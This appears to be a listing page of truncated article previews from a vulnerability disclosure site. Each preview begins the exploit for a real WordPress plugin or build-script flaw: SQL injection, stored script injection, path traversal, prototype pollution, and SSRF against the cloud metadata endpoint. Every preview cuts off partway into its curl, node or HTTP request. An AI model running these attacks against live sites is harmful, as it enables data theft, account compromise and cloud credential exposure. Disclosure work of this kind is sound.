## The Exploit An unauthenticated attacker can perform SQL injection via the `author__not_in` parameter in any REST API endpoint that passes user input to `WP_Query`. The following curl request demonstrates the injection against the default `/wp/v2/posts` endpoint. ```bash curl...
## The Exploit An authenticated contributor (or higher) can store script code in the Instagram Feed widget settings and make it execute for any later visitor. ```bash # Store the payload in the Instagram Feed widget configuration curl 'ht...
Read article →## The Exploit Unauthenticated attackers can abuse a public Forminator file-upload form with Save and Continue enabled by submitting a crafted `upload-1[file][file_path]` value pointing outside the uploads directory. ```bash curl 'http://...
Read article →## The Exploit Unauthenticated attackers can submit a malicious field value through the public `submit_nex_form` handler and later trigger it when the record display page renders saved submissions. ```bash curl -i -X POST 'http://TARGET/?...
Read article →## The Exploit Unauthenticated attackers can store a crafted placeholder string in any page-backed content that WP Meteor rewrites. ```bash curl -i -X POST "http://TARGET/wp-comments-post.php" \ -H "Content-Type: application/x-www-form-...
Read article →## The Exploit Attacker needs only the ability to inject a malicious sponsor record into `process-sponsors.js` during the docs build process. ```bash node - <<'NODE' const allSponsorsProcessedData = [ { slug: 'evil', tier: '__proto__', ...
Read article →## The Exploit Attacker needs a valid WordPress account at Subscriber level or higher. ```bash curl -i -s -X POST "https://TARGET/wp-admin/admin-ajax.php" \ -H "Content-Type: application/x-www-form-urlencoded" \ -H "Cookie: wordpress_...
Read article →## The Exploit The attacker only needs an authenticated WordPress administrator to load a malicious page. ```bash curl -i 'https://TARGET/wp-admin/admin.php?page=ffw_function_settings' \ -H 'Cookie: wordpress_logged_in_XXXXXXXXXXXXXXXXX...
Read article →## The Exploit No authentication required: any visitor can hit the plugin's proxy endpoint and make it fetch arbitrary URLs. ```bash curl -i -sS 'https://TARGET/template-proxy/?remote_url=http://169.254.169.254/latest/meta-data/instance-i...
Read article →## The Exploit Authenticated attacker needs Author-level access to the WordPress admin area and the ability to update the Same Category Posts widget settings. ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.example Cookie: wor...
Read article →